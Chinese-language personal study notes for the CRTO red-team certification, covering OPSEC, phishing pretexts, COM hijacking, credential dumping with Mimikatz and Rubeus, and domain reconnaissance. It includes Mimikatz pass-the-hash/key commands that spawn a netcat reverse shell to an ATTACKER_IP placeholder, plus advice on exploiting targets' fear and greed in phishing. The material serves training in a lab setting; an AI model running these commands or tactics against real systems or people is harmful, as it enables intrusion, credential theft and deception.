大师计划1.0 - log2 CRTO笔记

CRTOⅠ笔记

log2

这个笔记是我在2023年11月23日-12月22日中，学习CRTO所做的一些笔记。

事实上TryHackMe的路径和htb学院包含了许多CRTO的知识并且甚至还超出了CRTO（CS除外），所以很多东西在THM和htb学院学过，这次CRTO等于复习加学习，顺便自己深入学习了一下。当然有许多东西我也没做笔记，不过都是小问题。

接下来我会将开始学习Red Team Development and Operations A Practical Guide，将它加入日程；然后安排CRTOⅡ的学习安排到明年的1月份。

保持学习，接收新知识。

1. What is Red Teaming?

2023年11月25日

10:32

这里我们着重关注几点。

1.红队模拟真实世界中的威胁，例如各类黑客组织、APT等真实威胁

red teams put a

heavy emphasis on stealth and the "principal of least privilege"

红队高度重视隐秘性和“最小特权原则”

2. What is OPSEC?

2023年11月25日

10:38

OPSEC总结几句话其实就是实现隐蔽性所要注意的一些操作，降低我们在攻击时发出的噪音，避免被我们的对手感知

从TryHackMe红队教导的知识中，其实也很容易明白。我们需要从对手的角度看待我们自己的操作，对手发现我们的可能性有多大，对手在发现我们的攻击后，对手会做什么，对手执行操作后，我们还能做什么

行动可以通过“敌”情报来观察。从红队的角度来看，将衡量您的行为被观察到的难易程度以及随后的情况被蓝队打断。

THM的OPSEC房间讲述了一些理论知识，CRTO后面也会经常有OPSEC提示

8. ROE

2023年11月25日

10:55

• 定义参与行动对象。

• 定义参与目标(敌对)，包括域和IP 范围。

• 确定任何法律或监管要求和/或限制。

• 包含各方关键人员的紧急联系人名单。

OPSEC

2023年11月24日

22:01

OPSEC: Staged payloads are good if your delivery method limits the amount of data you can send. However,they tend to have more indicators compared to stageless. Given the choice, go stageless. Select the HTTP listener created previously, select Windows EXE as the output and tick Use x64.

OPSEC: The use of 64-bit payloads on 64-bit Operating Systems is preferable to using 32-bit payloads on 64-bit Operating Systems.

对于staged和stageless的选择，THM路径中也有清晰讲述，两者各有优缺点，使用哪种取决其实际环境

OPSEC：快速签入时间可以增加 Beacon 流量被捕获的机会。您还可以添加抖动以随机化签入时间

给定的百分比。

无需多言

2023年11月24日

22:06

3. Internal Phishing

2023年11月24日

22:07

对于网络钓鱼，THM红队路径中有具体的教导，我们也将会使用GoPhish框架来发起网络钓鱼活动。TryHackMe-红队-09_网络钓鱼_Sugobet的博客-CSDN博客

不得不提及一下lnk、scf文件

配合外部recon，我们通过对某个目标的网站、博客、社交媒体、招聘信息等信息，分析目标的日常行为和言语习惯、日常工作情况，分析其弱点，并制作与目标切合的邮件话题，这个话题必须是能够让目标“注意”到的，所以利用其人性的弱点，例如：贪婪、怜悯、好奇、紧张、害怕等心理来达到目的。

26页-Host Recon

2023年11月24日

22:07

在我们执行任何后利用步骤之前，应谨慎评估当前情况。我们执行的每项行动都存在被发现的风险。这种风险的程度取决于我们的能力和

任何防御者的能力。我们可以枚举主机以获取其受保护和监控程度的指标。这可以包括防病毒 (AV) 或端点检测和响应 (EDR) 软件，

Windows 审核策略、PowerShell 日志记录、事件转发

等。 “深度防御”是一个概念，通过该概念，在整个系统或环境中放置多个（独立）安全控制层 - 目的是提供一定程度的冗余，以便在一个发生故障时，其他

层仍然存在。我们必须准备好绕

过多层安全措施。

对于红队队员来说，“深度进攻”是一个类似的概念。此处收集的信息应用于制定您所采取的行动或所采用的策略。例如，如果您有一个最喜欢的执行“X”的

PowerShell 脚本，但启用了 PowerShell 日志记录，则您可能需要完全避免执行“X”，或者找到执行此操作的替代方法（例如 .NET 而不是 PowerShell）。优秀的进攻工程师将拥有多种工具或方法来实现相同的结果。

27页-Seatbelt

2023年11月25日

13:46

https://github.com/GhostPack/Seatbelt

用来收集主机上的信息

30页-Host Persistence

2023年11月24日

22:07

TryHackMe-红队-13_Windows本地持久性_Sugobet的博客-CSDN博客

34页-COM hijacking

2023年11月25日

14:16

当我们能够修改这些条目以指向不同的 DLL（我们控制的DLL）时，COM 劫持就会发挥作用。这样，当应用程序尝试调用特定的组件类时，它不会加载 C:

\Windows\System32\ieframe.dll（例如），而是加载 C:\Temp\evil.dll 或我们指定的任何内容。像这样劫持 COM 对象的危险在于您会破坏功能。有时，这将是一个相对普通的

第三方应用程序，它可能是一个关键的业务应用程序，也可能是整个操作系统。在实际环境中，在不了解 COM 对象的作用或用途的情况下劫持 COM 对象是一个非常

糟糕的主意。

当涉及到 COM 时，HKEY_CLASSES_ROOT 并不是全部 - 当应用程序尝试定位对象时，它会经历一个搜索顺序。机器范围的 COM 对象位于

HKEY_LOCAL_MACHINE\Software\Classes 和 HKEY_CURRENT_USER\Software\Classes 中的每用户对象。然后将这些位置合并以形成 HKEY_CLASSES_ROOT。

任何用户都可以劫持甚至在 HKCU 中注册新的 COM 对象 - 这些仅适用于他们自己，但它们确实优先于 HKLM 中的对象。因此，如果 COM 对象位于 HKLM 中，我们可以将重

复条目放入 HKCU 中，该条目将首先执行。

Host Privilege Escalation

2023年11月24日

22:07

总是有道理的，在多数情况下，我们执行LPE时，是因为提权后，通过本地高特权账户权限能够做更多事情，收集本地机器更多的信息，试图寻找其他脆弱点

但有时候LPE似乎并不是首选，例如Pivot host，如果机器上很难甚至找不到LPE点，那么我们将会浪费时间。然而，在pivot host中，我们做的一件事情应该是尝试持久化，因为作为枢纽，它只需要完成一件事，那就是让我们的流量进入目标网络，而提权在这里显着似乎并没有太过重要，做持久化的目的则是避免丢失对枢纽的控制，因为这是我们进入目标网络的路径

38页-Windows Services

2023年11月25日

14:42



	无需多言，THM都有，基础中的基础 sc query Get-Service wmic service get name,pathname Get-WmiObject -Class Win32_Service

71页-LogonPasswords

2023年11月24日

22:07

Sekurlsa::logonpasswords，它可以从内存中转储凭据，有时候我们可以得到明文密码，即使是ntlm hash，我们页可以尝试crack又或者是pth甚至是pth版的密码喷射

OPSEC：使用它首先就是禁用lsa保护（配置附加 LSA 保护 | Microsoft Learn、Mimikatz - HackTricks）

CRTO建议使用kerberos ekeys的sha hash

72页-ekeys

2023年11月25日

17:10

在用户请求Kerberos TGT（AS-REQ）时，用户会使用其密码派生的加密的密钥把时间戳进行加密，

用于派生此密钥的算法可以是 DES（在当前 Windows 版本上默认禁用）、RC4、AES128 或 AES256，具体取决于

安装的 Windows 版本和 Kerberos 配置。

这意味着一旦我们掌握这个key，我们就可以在没有明文密码的情况下，利用key来加密时间戳，向KDC发起AS-REQ从而请求TGT。

具体分析一下ekey。我们知道，在通过ekey来请求tgt后，KDC会向我们发送AS-RES，里面主要有tgt、enc_part等字段，而下一阶段请求tgs时，我们需要session key来加密username和时间戳。

问题就在这里，我们知道ticket里面也有session key，但ticket是用krbtgt hash加密的，我们没办法解密。

而唯一能取到session key的方法就是从AS-REP包中的enc_part，AS-REP中的enc_part是使用用户的密码hash来加密的。问题是我们只有ekey，好像并不能用于enc_part的解密？解密不了意味着这张tgt使用不了？

解密不了得不到session key确实意味着这张tgt用不了，但是从开头的那句话当中，其实ekey在这里就充当着上面所说的密码hash，只是加密类型不同，如果Kerberos采用aes128，那么ekey是aes128用于加密时间戳。同时enc_part也可以使用这个hash进行解密。

Sekurlsa::ekeys

我们可以像pth一样，pass the key，pth和ptk命令如此相似，也正是因为流程基本一致，只是hash（key)的类型不一样

mimikatz # sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /rc4:96ea24eff4dff1fbe13818fbf12ea7d8 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556"

mimikatz # sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /aes128:b65ea8151f13a31d01377f5934bf3883 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556"

mimikatz # sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /aes256:b54259bbff03af8d37a138c375e29254a2ca0649337cc4c73addcd696b4cdb65 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556"

74页-Domain Cached Credentials

2023年11月25日

21:55

域缓存凭据在需要域凭据才能登录机器的时候才会使用，身份验证可以在本地执行，所以本地会缓存凭据，可以通过转储它并尝试爆破它来获取明文密码

Lsadump::cache

Hashcat

81页-Extracting Kerberos TIckets

2023年11月25日

23:08

当前域机器本地有域用户在此登录后，我们可以尝试从lsass内存中转储其TGT，并进行PTT (Pass the Ticket)，我们的shell必须提升到system，否则权限不足以转储

sekurlsa::tickets /export

kerberos::ptt

值得注意的是，利用这些TGT的前提是我们拥有与之对应的session key，所以我们在转储成kirbi、ccache的时候会把ticket、session key等字段包含进去，最终作为我们使用的TGT

Rubeus.exe triage 参数查看机器上的所有登录会话

再通过dump参数将krbtgt转储为kirbi

最后rubeus ptt进行ptt

82页-Password Cracking Tricks and Tips

2023年11月24日

22:07

略过

44页-Domain Recon

2023年11月24日

22:08

本节将回顾（在相对较高的级别）您可以作为标准域用户从当前域枚举的一些信息。当我们讨论这些特定部分时，我们将更详细地介绍其中

许多领域（域信任、Kerberos 滥用、GPO 滥用等）。现在，我们将看到一些可用于查询域的不同工具，以及如何获取目标信息。值得注

意的是，不需要在高完整性过程中执行域侦察，并且在某些情况下（令牌重复）可能是有害的。

45页-61页-PowerView

2023年11月25日

15:30

这个无需多言，htb学院讲的足够多了，我们已经比较熟悉了。

了解一下CRTO在使用PowerView和OPSEC

Find-DomainUserLocation：这个用来查找所有域机器上已登录的域账户信息，也就是通过它我们可以找到哪些域用户在哪些机器上有session，即bloodhound上的HasSession

OPSEC需要注意的是它会对域内的机器进行查询，会有一点嘈杂，这可能会让我们暴露

63页-BloodHound

2023年11月25日

15:43

THM的AD都有

此外，SharpHound还有另一个参数能够避免接触dc

--excludedcs

来自 <https://github.com/BloodHoundAD/SharpHound>

，避免对dc进行枚举以减少嘈杂

75页-Make Token

2023年11月24日